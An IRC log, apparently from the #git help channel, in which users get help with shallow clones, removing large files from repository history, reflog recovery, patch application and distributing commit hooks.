	→ starkhalo joined	11:43
	→ solution joined	11:44
	→ lsiv568 joined	11:44
	→ jottr_ joined	11:44
	← paulweb515 left	11:46
	← xolubi left	11:46
	← listochkin left	11:47
	← Musok left	11:47
	← encod3 left	11:48
	→ fairuz joined	11:49
	→ teran_ joined	11:50
	← teran left	11:52
	→ justinmburrous joined	11:53
	→ aswen joined	11:54
	← marklite left	11:56
	→ msmith joined	11:56
	→ juvenal joined	11:57
	→ dragoonis joined	11:57
	→ netcarver joined	11:57
	← amcsi_work left	11:57
	→ pandeiro joined	11:57
	→ tristanp joined	11:59
	→ x0s_ joined	11:59
	← fstd left	12:00
	← ghostlines left	12:00
	→ fstd joined	12:00
	← dort left	12:00
	← msmith left	12:01
	→ [w_w] joined	12:01
	→ ThomasLocke joined	12:02
	→ ghostlines joined	12:02
	← dangerousdave left	12:03
	→ cannonball joined	12:03
	→ Roots47 joined	12:03
[w_w]	I have cloned the linux source with --depth=1. I would now like to clone the past history to a certain kernel version. Is this possible? how?	12:03
	I am interested in finding when a specific file was added.	12:04
grawity	you can fetch --depth=1000, or something such, but it only lets you specify the number of commits	12:04
	(personally I'd just say get the _whole_ history, it's not that large)	12:04
	→ dangerousdave joined	12:04
	← glebihan left	12:04
[w_w]	can I look up tags that i have not cloned?	12:04
grawity	only using `git ls-remote` to query the server	12:04
[w_w]	My 3g connection is very slow... so i'd prefer not to do that...	12:05
grawity	(or by fetching them individually)	12:05
	then find some place that offers good connection, like a library :D	12:05
	which file are you looking for?	12:05
	← Gizburdt left	12:05
	← gua_ould left	12:06
	→ evildmp joined	12:06
	← spareproject_ left	12:06
grawity	you could also https://git.kernel.org/linus/ → "tree" → find your file → "log"	12:06
[w_w]	nice!	12:06
grawity	(I don't think that site follows file renames though)	12:07
	← jenni_naiaretti left	12:07
[w_w]	I'm looking for the linux/drivers/net/can/usb/gs_usb.c twas never renamed	12:07
grawity	http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/log/drivers/net/can/usb/gs_usb.c https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux/+log/master/drivers/net/can/usb/gs_usb.c	12:08
	→ glebihan joined	12:09
	← zumba_addict left	12:09
	← toothrot left	12:09
	← mennea left	12:09
	→ mennea joined	12:10
	→ tmcmahon joined	12:10
	→ martinklepsch joined	12:10
	← angico left	12:11
	→ robarelli joined	12:11
	← mustafavelioglu_ left	12:11
	→ mustafavelioglu_ joined	12:13
	→ xobb joined	12:13
	← codeman_ left	12:13
	← Manny left	12:13
	→ Manny joined	12:13
	→ tokik joined	12:14
	← ThomasLocke left	12:14
	→ jontmorehouse joined	12:14
	→ squeakytoy joined	12:14
squeakytoy	Hey all cool kids. Quick question. Is it possible to add some kind of a meta data on a commit?	12:15
tobiasvl	squeakytoy: what do you want to add?	12:15
squeakytoy	i am just thinking loud	12:15
tobiasvl	squeakytoy: man git-notes	12:15
gitinfo	squeakytoy: the git-notes manpage is available at http://jk.gs/git-notes.html	12:15
tobiasvl	for example	12:15
	← robarelli left	12:15
osse	you can add your name, a date, and a message	12:15
tobiasvl	depends what you want to add though	12:15
osse	and your email	12:15
squeakytoy	but.. maybe a sign-off note? without actually recreating the commit	12:16
	→ hexagoxel joined	12:16
tobiasvl	yep, the things osse listed are the things you have to add	12:16
	← sqrrl left	12:17
osse	squeakytoy: no, that's impossibru	12:17
squeakytoy	so you cant add any meta data to a commit?	12:17
tobiasvl	signing off a commit changes the commit	12:17
squeakytoy	any freetext or something	12:17
tobiasvl	squeakytoy: did you look at man git-notes?	12:17
osse	squeakytoy: yes, in the message	12:17
gitinfo	squeakytoy: the git-notes manpage is available at http://jk.gs/git-notes.html	12:17
	← tmcmahon left	12:17
	→ sqrrl joined	12:18
tobiasvl	seems to match your vague needs	12:18
	→ BuenGenio joined	12:18
	→ Gizburdt joined	12:18
squeakytoy	tobiasvl, no, not yet. people still messaging here, so i havent had time :-)	12:18
	← BuenGenio left	12:18
tobiasvl	ok, go read it and _then_ come back asking for other solutions	12:19
	← jontmorehouse left	12:19
	← mennea left	12:20
	→ encod3 joined	12:22
	→ lindenle joined	12:24
	← justinmburrous left	12:24
	→ Err404NotFound joined	12:26
	← Error404NotFound left	12:26
	→ moritzs joined	12:26
	← encod3 left	12:27
	← rchavik left	12:28
	← lindenle left	12:29
	← dangerousdave left	12:29
	← palcu left	12:30
Trudko	guys I somehow pushed tag on remote with value refs/tags/+.1.21.Ã0 (I used git ls-remote --tags) problem is that I want to delete the tag but git push --delete origin +.1.21.Ã0 says error: unable to delete '+.1.21.Ã0': remote ref does not exist	12:30
	→ TeraJL joined	12:30
	→ palcu joined	12:30
	← mlechner left	12:31
	← xobb left	12:31
grawity	Trudko: try --delete refs/tags/+.1.21.Ã0	12:31
TeraJL	hi there, i have a ~400MB pack file on .git/objects/pack is this normal? the project is only ~14MB in size, is there any way to reduce the size?	12:31
osse	TeraJL: git gc --aggressive	12:31
	→ wakd_ joined	12:32
	← phantombeta left	12:32
	→ dangerousdave joined	12:32
	→ gmb2020 joined	12:32
	→ P4_Denis joined	12:32
rwbg	TeraJL: git gc --aggressive --prune=now	12:32
TeraJL	i did it osse i only get around 1mb free	12:32
osse	TeraJL: did you commit Schindler's List in FullHD and then delete it again?	12:33
	→ marklite joined	12:34
osse	if you committed some mhuge files and deleted them again they will still be part of the repo	12:34
	→ Gregoire_ joined	12:34
	← wakd left	12:34
	gitinfo set mode: +v	12:34
	← chris17 left	12:34
Gregoire_	Hello, do you know when msysgit will release 2.x version ?	12:35
	← palcu left	12:35
TeraJL	osse: i don't remember of any huge file in there.. is there any way to list them and maybe delete it?	12:36
	← fairuz left	12:36
	→ rchavik joined	12:36
osse	TeraJL: I don't know of a good way	12:37
	TeraJL: http://stackoverflow.com/questions/10622179/how-to-find-identify-large-files-commits-in-git-history	12:37
	← P4_Denis left	12:37
	→ decompiled joined	12:38
	→ dccc_ joined	12:39
	← sebastian_ left	12:40
	← bezet left	12:41
Gregoire_	Hello, do you know when msysgit will release 2.x version ?	12:41
	→ sebastian__ joined	12:42
	← DARSCODE left	12:42
	← decompiled left	12:43
	→ dort joined	12:43
	← mustafavelioglu_ left	12:43
	→ decompiled joined	12:43
	→ paulweb515 joined	12:43
	→ JeanCarloMachado joined	12:44
	← Gizburdt left	12:44
	→ phantombeta joined	12:44
	← decompiled left	12:45
TeraJL	osse: you are right, there as old folder full of images (this git has a script to improve images, and someone sent the temporary folder and deleted it), but i can't seem to find a way to delete that folder from history	12:45
osse	man git-filter-branch	12:45
gitinfo	the git-filter-branch manpage is available at http://jk.gs/git-filter-branch.html	12:45
osse	See "Checklist for Shrinking a Repository"	12:45
	← phantombeta left	12:46
osse	although !rewrite	12:46
gitinfo	Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum	12:46
TeraJL	thanks osse :) i'll check it out	12:46
	← CheckDavid left	12:47
	→ javster joined	12:47
	→ ni__ joined	12:48
	← Reb_Sadran left	12:49
	← dangerousdave left	12:49
	← paulweb515 left	12:50
	→ phantombeta joined	12:50
	← dort left	12:50
	→ EminenceHC joined	12:51
	← KrunchyAl left	12:52
	← Malsasa left	12:52
	→ dort joined	12:52
	← wakd_ left	12:53
	→ paulweb515 joined	12:53
	← lsiv568 left	12:53
	→ hcc23 joined	12:54
	→ wakd joined	12:54
	← ni__ left	12:54
	← jagob left	12:55
	← dsdeiz_ left	12:55
	← mizu_no_oto left	12:55
	→ bgerber joined	12:55
	← EminenceHC left	12:55
	← Vile left	12:56
	→ Malsasa joined	12:56
	→ ni__ joined	12:56
	← cherwin left	12:57
	→ kdlv joined	12:57
	→ snuffeluffegus joined	12:58
	→ lsiv568 joined	12:58
	→ _Vi joined	12:59
	→ Malsasa_ joined	13:00
	← dort left	13:00
	← Malsasa left	13:00
	→ dort joined	13:01
	→ mustafavelioglu_ joined	13:02
	→ jenni_naiaretti joined	13:04
	← jack_orange left	13:04
	← kdlv left	13:04
	→ kdlv joined	13:04
	→ iamjarvo joined	13:05
	→ xolubi joined	13:05
	← ni__ left	13:05
	← netcarver left	13:05
	→ ni__ joined	13:05
	→ mscook joined	13:06
	→ zumba_addict joined	13:06
	→ zivester joined	13:07
	← javster left	13:07
	← iamjarvo left	13:07
	← marthinal left	13:08
	← fr33domlover left	13:08
	→ justinmburrous joined	13:08
	→ jontmorehouse joined	13:08
	→ tranzfuse joined	13:08
	→ javster joined	13:08
TeraJL	i've ran this script http://stubbisms.wordpress.com/2009/07/10/git-script-to-show-largest-pack-objects-and-trim-your-waist-line/ (second block) and i've found that i have lot of big files on "tmp/users/...." and that folder is deleted, so i've ran "git filter-branch --tree-filter 'rm -rf tmp/users' HEAD" and then "rm -rf .git/refs/original/ && git reflog expire --all && git gc --aggressive --prune" but size keeps the same and if i run t	13:09
	→ danemacmillan joined	13:09
ralu	hot can i rebase one detach repo/dag on top of another?	13:09
	← dort left	13:09
	← ni__ left	13:10
ralu	i just wan to cat two dags at some commit	13:10
	→ dort joined	13:10
_ikke_	use grafts	13:10
	→ kikimeter joined	13:10
	→ cherwin joined	13:11
ojacobson	assuming you already know why you want to use rebase and not replace or graft, then --root is your friend too	13:11
	← kikimeter left	13:11
osse	TeraJL: do you have any tags?	13:11
	or other branches?	13:11
	you probably want git filter-branch ... -- --all at least	13:12
TeraJL	osse: no, only master	13:12
	→ Gizburdt joined	13:12
osse	ah	13:12
	→ lindenle joined	13:12
	→ robarelli joined	13:12
	→ liamkeily joined	13:13
	← jontmorehouse left	13:14
	← mscook left	13:14
	← ecky--ptang-zoob left	13:14
	← ojacobson left	13:15
osse	TeraJL: git reflog expore --all --expire=now && git gc --aggressive --prune=now	13:15
	TeraJL: without 'now' the default is two weeks	13:15
	→ ecky--ptang-zoob joined	13:15
	→ Sebtoast joined	13:15
	→ spareproject joined	13:16
	← robarelli left	13:16
	→ mscook_ joined	13:18
TeraJL	osse: still no luck :/	13:20
	→ DARSCODE joined	13:20
	→ mizu_no_oto joined	13:20
	← cherwin left	13:20
	→ jagob joined	13:21
	→ cherwin joined	13:21
	← lsiv568 left	13:22
	→ lsiv568 joined	13:23
	→ studmuf joined	13:24
	→ ctgriffiths joined	13:25
	← tanath left	13:25
	← xSmurf left	13:25
	← Segfault_ left	13:25
	← moparsthbest left	13:25
	← skorgon left	13:25
	→ moparisthebest joined	13:25
	← acharlieh left	13:25
	→ skorgon joined	13:25
	→ Segfault_ joined	13:26
	→ tanath joined	13:26
	← User458764 left	13:26
	← Err404NotFound left	13:27
	→ angico joined	13:27
Gregoire_	:)	13:29
osse	TeraJL: go to a temprary dir and try to clone it	13:29
	← nikita left	13:29
osse	TeraJL: git clone --local /path/to/place. Is the clone smaller?	13:30
	→ zumba_ad_ joined	13:30
	← kukks left	13:30
	→ eliasr joined	13:30
	← zumba_addict left	13:31
osse	TeraJL: oooooooooooh, did you try with --all like I said? What's probably happened is that master is rewritten by not origin/master	13:31
	TeraJL: in which case the clone will reveal that	13:31
	*but not origin/master	13:31
	→ jerius joined	13:32
	→ nikita joined	13:32
	← sword`` left	13:33
	→ sword`` joined	13:33
	→ autochthon joined	13:33
	← jottr_ left	13:33
	→ KnightsOfNi joined	13:34
	← ecky--ptang-zoob left	13:34
	← rishabh_ left	13:34
	← squeakytoy left	13:34
	← zumba_ad_ left	13:34
	→ zumba_addict joined	13:34
	→ mennea joined	13:35
Trudko	grawity: sorry just noticed your response well i tried git push --delete origin refs/tags/+.1.21.Ã0 and ouput is http://pastie.org/9613892	13:36
	← kermit left	13:37
	→ nettoweb joined	13:37
	← justinmburrous left	13:38
	→ kermit joined	13:38
	← lacrymology left	13:39
	← zhangxaochen__ left	13:39
	→ m0ltar joined	13:39
Trudko	grawity: ok found the problem	13:39
	→ zhangxaochen__ joined	13:39
	→ xSmurf joined	13:40
TeraJL	osse: i can't seem to make --all work :/ tried "git filter-branch --index-filter 'git rm --ignore-unmatch --cached -rf appuro/users/' --all HEAD" and "git filter-branch --index-filter 'git rm --ignore-unmatch --cached -rf appuro/users/' --all"	13:40
	← intellix left	13:41
osse	TeraJL: get rid of HEAD, add -- in front of --all	13:41
	TeraJL: and --all is not valid git rm, so get rid of that	13:42
	← zumba_addict left	13:42
	← Pyrogerg left	13:42
osse	oh, never mind, I misread	13:42
	→ zumba_addict joined	13:42
	→ dangerousdave joined	13:42
	→ tinanoo joined	13:42
	← BSaboia left	13:43
	← m0ltar left	13:44
	← solker_ left	13:44
	Malsasa_ → Malsasa	13:44
	→ mustmodify joined	13:44
mustmodify	Hello team #git	13:44
	→ fr33domlover joined	13:45
	→ NoNMaDDeN joined	13:45
	← mustafavelioglu_ left	13:45
	← marklite left	13:46
	→ AnujSharma joined	13:46
	← AnujSharma left	13:46
	→ User458764 joined	13:46
	← spareproject left	13:46
falstaff	I try to create a patch with -M -B, but I can't apply it afterwards	13:47
	→ zumba_ad_ joined	13:47
	← zumba_ad_ left	13:47
	← joo-_ left	13:47
falstaff	what I did, I copied a file, (a to b), changed some lines in b, but also completely rewrote a.	13:47
	→ joo-_ joined	13:47
	→ intellix joined	13:47
falstaff	When I try to apply that, I get "error: path a has been renamed/deleted"	13:48
	git 2.1.2	13:48
	→ justinmburrous joined	13:48
	← zumba_addict left	13:48
	→ kukks joined	13:48
	← kukks left	13:48
	→ kukks joined	13:48
	→ zumba_addict joined	13:48
	← lsiv568 left	13:48
	← joo-_ left	13:48
	→ iamjarvo joined	13:49
jast	what did you run to create/apply the patch?	13:49
	← emrox left	13:49
	← nettoweb left	13:49
	→ chelly joined	13:49
	→ joo-_ joined	13:50
TeraJL	osse: with --all it did not work and i get "WARNING: Ref 'refs/heads/master' is unchanged / WARNING: Ref 'refs/remotes/origin/master' is unchanged / WARNING: Ref 'refs/remotes/origin/master' is unchanged"	13:50
	→ dsdeiz joined	13:50
osse	TeraJL: that's because you've run it before, then.	13:50
	TeraJL: did you try the clone?	13:50
	→ bezet joined	13:50
	→ daedeloth joined	13:51
	← zumba_addict left	13:51
TeraJL	osse: i've did it but it's the same	13:52
osse	then maybe those aren't the big files	13:53
	I don't know	13:53
	I'm out of ideas	13:53
	← clauswitt left	13:53
	→ zumba_addict joined	13:55
TeraJL	osse: if the filter-branch rm ran well shouldn't the script from http://stubbisms.wordpress.com/2009/07/10/git-script-to-show-largest-pack-objects-and-trim-your-waist-line/ stop showing those files?	13:55
mustmodify	I realize the logic behind this question is askew from the way git thinks about things... but can I ask git to show me all commits, regardless of branch, or even orphaned commits, that happened in the last ... say ... 48 hours?	13:55
	← evildmp left	13:55
	← KnightsOfNi left	13:55
grawity	mustmodify: `git reflog` (or `git log -g`) will be rather close	13:55
	→ Ankhers joined	13:56
grawity	mustmodify: it tracks everything that happened in your local repo	13:56
	→ AaronMT joined	13:56
mustmodify	grawity: thanks, I'll give it a shot.	13:56
	← rath left	13:56
osse	TeraJL: after gc, yes	13:56
	→ StarManta joined	13:56
osse	and after removing refs/originals	13:56
	← javster left	13:57
	→ mansion joined	13:57
	← mscook_ left	13:58
osse	(assuming the script works)	13:58
	→ yosito joined	13:58
	→ msmith joined	13:58
	← martinklepsch left	13:59
	← rob_w left	13:59
	→ Neozonz\|Disc joined	13:59
	← Neozonz\|Disc left	13:59
	→ Neozonz\|Disc joined	13:59
	← mansion left	13:59
	← joo-_ left	13:59
	← Cheaterman1 left	13:59
	→ jottr_ joined	13:59
	→ martinklepsch joined	13:59
	→ joo-_ joined	14:00
	→ lsiv568 joined	14:00
	← martinklepsch left	14:00
	→ zumba_ad_ joined	14:01
	→ martinklepsch joined	14:01
	← martinklepsch left	14:01
	← zumba_addict left	14:02
	→ martinklepsch joined	14:02
	→ jontmorehouse joined	14:02
	← zumba_ad_ left	14:02
	← jagob left	14:02
mustmodify	grawity: Found my commit, thanks. Quick question. It says "6ff3a3e HEAD@{6}: commit" so it must still be there... but I don't see it in master which is where I thought I committed it. Is it likely under a different branch? If so, how can I find out which one?	14:03
	← martinklepsch left	14:04
	← mennea left	14:05
	→ mennea_ joined	14:05
grawity	the reflog doesn't just show things that are in a branch; it shows things that have been in a branch in the past	14:05
	→ martinklepsch joined	14:05
grawity	well, in this case HEAD, not any branch, but still	14:05
	← RogerWS left	14:05
grawity	so you can either try `git branch --contains 6ff3a3e` to list branches with that commit	14:05
	← martinklepsch left	14:05
	← Junior left	14:06
grawity	or simply create a new branch at that commit, or something	14:06
	→ zumba_addict joined	14:06
	→ sLite joined	14:06
	← jottr_ left	14:06
	→ oojacoboo joined	14:06
	→ staticshock_ joined	14:07
	← jontmorehouse left	14:07
	← msmith left	14:07
	→ ag4ve joined	14:08
	→ ehmatthes joined	14:08
	← Guest46296 left	14:08
	← Macaveli left	14:08
	→ martinklepsch joined	14:08
	→ alphonse23 joined	14:09
	→ evildmp joined	14:09
	→ ni__ joined	14:09
	→ MutSbeta joined	14:09
	→ crose joined	14:09
	→ Pyrogerg joined	14:10
	→ mahem1_ joined	14:10
	← dort left	14:11
	→ Dougie187 joined	14:11
	← oojacoboo left	14:11
	← punchagan left	14:11
	→ davispuh joined	14:11
	← lsiv568 left	14:11
	→ GinoMan joined	14:11
	→ shinnya joined	14:12
	→ sitology joined	14:12
	→ decompiled joined	14:12
	→ jubei joined	14:12
jubei	guys I did git reset but… hmm..I changed my mind ^_^	14:12
	← xolubi left	14:12
	→ burhan_ joined	14:12
jubei	it wasn’t a hard reset	14:12
	→ robarelli joined	14:13
jubei	is there any way to go back?:)	14:13
grawity	`git reset` to the commit you wanted	14:13
	← Manny left	14:13
jubei	grawity: the thing is that I can’t see that commit anymore in the git log	14:13
	← nnyk_ left	14:13
jubei	because it’s a future commit	14:13
grawity	see `git reflog` for a history of where you've been, e.g. @{1} is the last one	14:13
	→ Manny joined	14:13
	← iamjarvo left	14:15
	→ RogerWS joined	14:15
	← yosito left	14:15
jubei	grawity: it’s not HEAD@{0} ?	14:16
	grawity: http://codepad.org/XlbaUK42	14:16
	that’s my reflog	14:16
grawity	well, do you see your wanted commit in it?	14:16
	or in `git reflog <branchname>` instead?	14:16
jubei	grawity: actually I do ^_^ lol	14:16
	grawity: thank you very much for the help	14:16
grawity	then just `git reset` to that commit	14:16
	→ nnyk_ joined	14:17
	→ xolubi joined	14:17
	← Trudko left	14:17
mustmodify	grawity: Again, thanks so much. You were a lifesaver. Somehow that commit got orphaned.	14:17
	← zivester left	14:17
	← robarelli left	14:17
jubei	same here.	14:17
	← jubei left	14:17
	→ emrox joined	14:18
	← mustmodify left	14:18
	← justinmburrous left	14:19
	← moritzs left	14:19
	← zhangxaochen__ left	14:19
	→ zhangxaochen__ joined	14:20
	← zumba_addict left	14:20
	→ InvidFlower joined	14:20
	← Mobutils left	14:22
	← sandr8 left	14:22
	← decompiled left	14:24
	← dangerousdave left	14:25
	→ iamjarvo joined	14:25
	→ moritzs joined	14:25
	→ kikimeter joined	14:26
	← Juzzika left	14:26
	← kopparam left	14:26
	← vtunka left	14:27
	→ kpease joined	14:27
falstaff	jast, git am	14:28
	← snuffeluffegus left	14:29
falstaff	https://cloud.agner.ch/public.php?service=files&t=81779ef6e339bcdffbb149c436ad3381	14:29
	this would be the patch	14:29
	→ punchagan joined	14:29
falstaff	Looking at that, it's clear that git am fails: first the patch states a rename, then it deletes lots of lines from the original file (which is already renamed at that point)...	14:30
	← jnavila left	14:31
	→ netameta joined	14:31
	→ metRo_ joined	14:32
falstaff	jast, "git format-patch --signoff -M -B HEAD^^"	14:32
	← StolenToast left	14:32
falstaff	jast, then "git apply 0001-ARM-dts-vf500-vf610-support-VF500-SoC.patch"	14:32
	s/apply/am	14:33
	→ P4_Denis joined	14:33
	→ msmith joined	14:34
	→ EminenceHC joined	14:34
	→ nettoweb joined	14:34
	← mennea_ left	14:34
	← nettoweb left	14:34
	← cvanball left	14:34
	→ SumDude joined	14:35
	← sword`` left	14:35
	→ mennea joined	14:35
	← atomx left	14:35
	→ nettoweb joined	14:35
	→ sword`` joined	14:35
	→ StolenToast joined	14:36
	← skylite left	14:36
	→ bollullera joined	14:36
	→ Marcus___ joined	14:36
	→ fabe joined	14:37
	← xolubi left	14:37
	← P4_Denis left	14:37
	← nnyk_ left	14:37
	← tranzfuse left	14:37
	← kikimeter left	14:37
	← Marcus_ left	14:39
	← joo-_ left	14:40
	→ ecky--ptang-zoob joined	14:40
	→ BuenGenio joined	14:41
	→ skylite joined	14:41
	→ zumba_addict joined	14:42
	→ refried_ joined	14:42
	→ tranzfuse joined	14:42
	→ nekyian_ joined	14:42
	← JohnBat26 left	14:43
	→ xolubi joined	14:43
	← skylite left	14:43
	→ nnyk_ joined	14:43
	→ skylite joined	14:44
	← Raging_Hog left	14:45
	→ lpapp joined	14:45
	→ acharlieh joined	14:45
lpapp	hi, what is the best way to run astyle for each commit? I created this pre-commit hook locally in .git/hooks, but I cannot commit it. Shall I create this on the server, or how can I make it so that other developers will get it automatically?	14:46
	← punchagan left	14:46
	← BuenGenio left	14:46
_ikke_	lpapp: You can't. The only thing you can do is add it to the repo, and tell developers to put it in place	14:46
offby1	lpapp: if your plan is to have git automatically format your code for you _before_ committing ... I don't think there's an easy way	14:46
canton7	lpapp, there are some tools to help with committing hooks to a repo, and copying them out / setting them up	14:47
	but nothing built in, for obvious security reasons	14:47
	→ Jackneill joined	14:48
	← awkwardusername left	14:49
	→ mihaicris joined	14:49
lpapp	that is a shame .... I consider it a missing feature.	14:49
	I would really love to solve it centrally in one place without all the developers needing to do extra work.	14:50
canton7	lpapp, the problem is that were it in place, you could execute arbitary code on the machine of anyone who clones your repo	14:50
	which is kinda bad ;)	14:50
bremner	lpapp: best figure out the security issues before making a feature requiest	14:50
lpapp	canton7: why would it be bad in a closed environment with the source coming from me (trusted employee) ??	14:51
	(based on modulo agreement with regards to what to do)	14:51
	→ CheckDavid joined	14:51
	← martinklepsch left	14:51
canton7	lpapp, how does git know you're in a trusted environment?	14:52
lpapp	canton7: it should provide an option for me to tell.	14:52
	← jceb left	14:52
canton7	lpapp, https://github.com/icefox/git-hooks btw	14:52
lpapp	if anyone can break into a trusted environment which is not even on the internet, well, other than good luck with that, you would be able to cause much more havoc than ruining the git repository which has backup anyways.	14:53
	← iamjarvo left	14:53
	← nekyian_ left	14:53
	→ thedodd joined	14:53
	→ iamjarvo joined	14:53
	→ UmbraMalison joined	14:53
lpapp	on the contrary: announcing a simple hook for many employees followed by actions from everyone is truly time-wasting IMHO	14:53
	canton7: I read that.	14:54
	← TomyWork left	14:54
lpapp	it did not mention any solution to the problem afaict.	14:54
	← msankhala left	14:54
canton7	it's just a third-party tool which helps ;)	14:55
lpapp	ah, sorry, scratch that, I thought it is the git-hooks manual page at first.	14:55
	I will read that, thanks, but do I really need a separate tool for this?	14:55
canton7	did you even read it? ;)	14:55
	yes, you do :P	14:55
	search the !list if you want the discussions - it comes up from time to time	14:55
gitinfo	[!official] Some official resources for git. Homepage: http://git-scm.com/ \| Source repo: https://www.kernel.org/pub/scm/git/git.git/ (Mirrrored: https://github.com/git/git/) \| IRC channel: You're in it. \| Mailing list: http://vger.kernel.org/vger-lists.html#git	14:55
lpapp	fwiw, I do have access to the server if that helps.	14:55
bremner	the clients are the issue, not the server	14:55
lpapp	so putting it onto the server into the right folder could be done by one scp command, but I am not sure if that helps, really ...	14:56
osse	put the hooks in a dir in the repo along with a script to run the commands needed to "install" them (typically ln -s ...). That's about as close as you get.	14:56
	→ jontmorehouse joined	14:56
	← kukks left	14:57
lpapp	canton7: it is still extra work that cannot be spared. The developers will need to install this tool, etc.	14:57
	→ lacrymology joined	14:57
canton7	it's true	14:57
	→ BSaboia joined	14:57
canton7	just distribute a makefile/rakefile with your repo	14:57
	tell your devs to run 'make install-hooks'	14:57
lpapp	what I want is to really admin the git repo	14:57
	→ jiskiras joined	14:57
canton7	boom. it's not ideal, but it's probably good enough	14:57
	← jiskiras left	14:57
canton7	anyway	14:57
lpapp	make an action after which no one can enter non-standard code into the repository.	14:57
	canton7 has a meeting	14:57
lpapp	and this would be automatically solved by running astyle. I think it is a fairly common usage (nearly every non-one-man project?)	14:58
	← crose left	14:58
	→ jiskiras joined	14:58
	← jiskiras left	14:58
	← Pyrogerg left	14:58
lpapp	canton7: still extra work, really. I do extra work myself with that to still let them all do extra work	14:58
	← rchavik left	14:58
lpapp	this is nice really a nice git repo management interface so.	14:58
	→ martinklepsch joined	14:59
lpapp	s/nice/not/	14:59
canton7	raise it on the list if you want	14:59
	after reading the previous discussion there	14:59
	→ joelm joined	14:59
lpapp	well, the admin should be able to deem what is good or bad.	14:59
	→ pheaver joined	14:59
lpapp	in an ideal world, the admin should have full control over the repository setup.	15:00
	→ jiskiras joined	15:00
	← jiskiras left	15:00
lpapp	with as small distraction for the developers as possible	15:00
bremner	that kind of control is very hard in a distributed setup	15:00
lpapp	canton7: care to link the previous discussion?	15:00
	→ svm_invictvs joined	15:01
bremner	people could always disable your hook.	15:01
canton7	don't have it to hand	15:01
	→ jiskiras joined	15:01
	← jiskiras left	15:01
	→ Gizburdt_ joined	15:01
	← jontmorehouse left	15:01
	← sinkensabe left	15:01
	← Gizburdt_ left	15:02
lpapp	I wonder if other version control system had managed to solve this admin interface issue?	15:02
osse	lpapp: you can implement the style checker server-side and potentially reject pushes.	15:03
	→ jiskiras joined	15:03
osse	then each developer doesn't have to do anything	15:03
	← roelmonnens left	15:03
	← jiskiras left	15:03
osse	on the other hand they won't immediately know	15:03
lpapp	osse: I do not follow	15:03
	osse: if the change is rejected... how come will they not need to do extra work to get the change pushed?	15:04
	← Silmarilion left	15:04
lpapp	I am confused ...	15:04
	→ jiskiras joined	15:04
	← jiskiras left	15:04
osse	lpapp: they will need to do extra work to do a successful push. but they will not need to to extra work to install a hook, install astyle and so on.	15:04
	← mennea left	15:04
	← Gizburdt left	15:04
	→ stiffi joined	15:05
lpapp	osse: so what is the matter then?	15:05
	→ mennea joined	15:05
lpapp	osse: see, as the admin of the repository, I want to set the rules without distracting developers	15:05
osse	lpapp: that's up to you to decide. I merely made a suggestion.	15:05
	lpapp: yes, and as the admin, you can install a hook to run on the server	15:06
	→ joo-_ joined	15:06
	→ Emi23 joined	15:06
osse	lpapp: which won't distract the developers	15:06
lpapp	osse: which will not distract developers and will convert the changes to the repo style?	15:06
	so it will be all automatic?	15:06
osse	no	15:06
lpapp	...	15:06
osse	ok, I understand what you mean now	15:06
	← Emi23 left	15:06
	→ dort joined	15:06
	→ jiskiras joined	15:07
lpapp	ok, that is a step ahead ...	15:07
	← jiskiras left	15:07
	→ osse joined	15:07
lpapp	if anyone knows the link where this use case was rejected, please link me.	15:07
	→ jiskiras joined	15:07
	← jiskiras left	15:07
	→ Gamecubic joined	15:08
lpapp	at worst, this could be solved by a HUGE warning for the new script or so.	15:08
	→ jiskiras joined	15:08
	← jiskiras left	15:08
lpapp	but that does not require manual intervention of stuff, just reading that can be announced that you would see it and move on ...	15:08
	← ni__ left	15:09
	← jargon left	15:09
	← hstefan left	15:09
	→ Robarelli joined	15:10
Dougie187	When using the syntax `git push origin +branch_name` is there something you can put in branch_name that says "The branch I'm currently on"?	15:10
	→ mkaesz joined	15:10
Dougie187	kind of like HEAD, but I figured HEAD wouldn't be what I'm looking for.	15:10
	→ robzilla joined	15:11
	→ ni__ joined	15:11
osse	Dougie187: HEAD will work	15:11
	→ akiva joined	15:11
Dougie187	Oh ok. I thought for some reason HEAD would overwrite HEAD in the remote. :P	15:11
	→ Ansikt_ joined	15:12
Dougie187	but then `git push origin +HEAD` would be the equivalent of `git push origin -f` if push.default == current?	15:12
osse	Dougie187: that is reasonable to think. I tested it before answering you :P	15:12
	→ martinkl_ joined	15:12
osse	yup I should think so	15:12
bremner	lpapp: "git hook clone security" are keywords that get you started with your favourite search engine	15:12
Dougie187	Heh, thanks. I could have tested it too, I just didn't want to mess anything up.	15:12
	should have just made a bare mirror and tested it I guess	15:12
lpapp	osse: cannot pre-receive rewrite the commit?	15:12
	to run astyle on it automatically?	15:13
	that would become server side then ...	15:13
	→ navs_ joined	15:13
Ansikt_	Hi. If I accidentally branch off of the wrong branch, but don't notice until I make a bunch of commits, how do I switch the base branch to a different one?	15:13
lpapp	ah, but then the local would be in flux ...	15:13
bremner	lpapp: nabble is aweful, but here is a link http://git.661346.n2.nabble.com/Is-there-any-way-to-make-hooks-part-of-the-repository-td7518033.html	15:13
	← BSaboia left	15:13
	→ BSaboia joined	15:14
lpapp	what I do not get is why git is so restrictive ...	15:14
Ansikt_	For example if I am doing a change to stable, but accidentally branch off of experimental, do I have to throw away my commits and redo everything to prevent accidentally merging my feature branch into stable, or is there a way to change the base branch to stable?	15:14
	← martinklepsch left	15:14
lpapp	I mean if you committed a pre-commit hook, and it is not trustworthy, some questions arise instantly:	15:14
bremner	lpapp: read the thread I linked. It talks exactly about your issue.	15:14
	← dort left	15:14
	← burhan_ left	15:14
lpapp	1) How is it actually pre-commit specific? Any untrusted file would be an issue anyway.	15:14
	← pheaver left	15:14
lpapp	2) How would an untrusted person commit to the repository anyway?	15:15
	→ n-st joined	15:15
	→ Mobutils joined	15:15
Ansikt_	(alternatively, could you direct me to an article about this sort of issue? I feel it's a common enough problem to have answers on google, but I wasn't sure what keywords to search.)	15:15
lpapp	so I do not get what security this would introduce at all, at least at this point. Please someone explain it if you can ...	15:15
	security risk*	15:15
	→ dort joined	15:15
	→ jiskiras joined	15:15
	← jiskiras left	15:16
	→ burhan_ joined	15:16
	→ jiskiras joined	15:16
	← jiskiras left	15:17
	← xolubi left	15:17
	→ voidvoid joined	15:17
	← voidvoid left	15:17
osse	lpapp: I don't know	15:17
	Dougie187: I just reset --hard HEAD~1 my own repo and tried to push :p	15:18
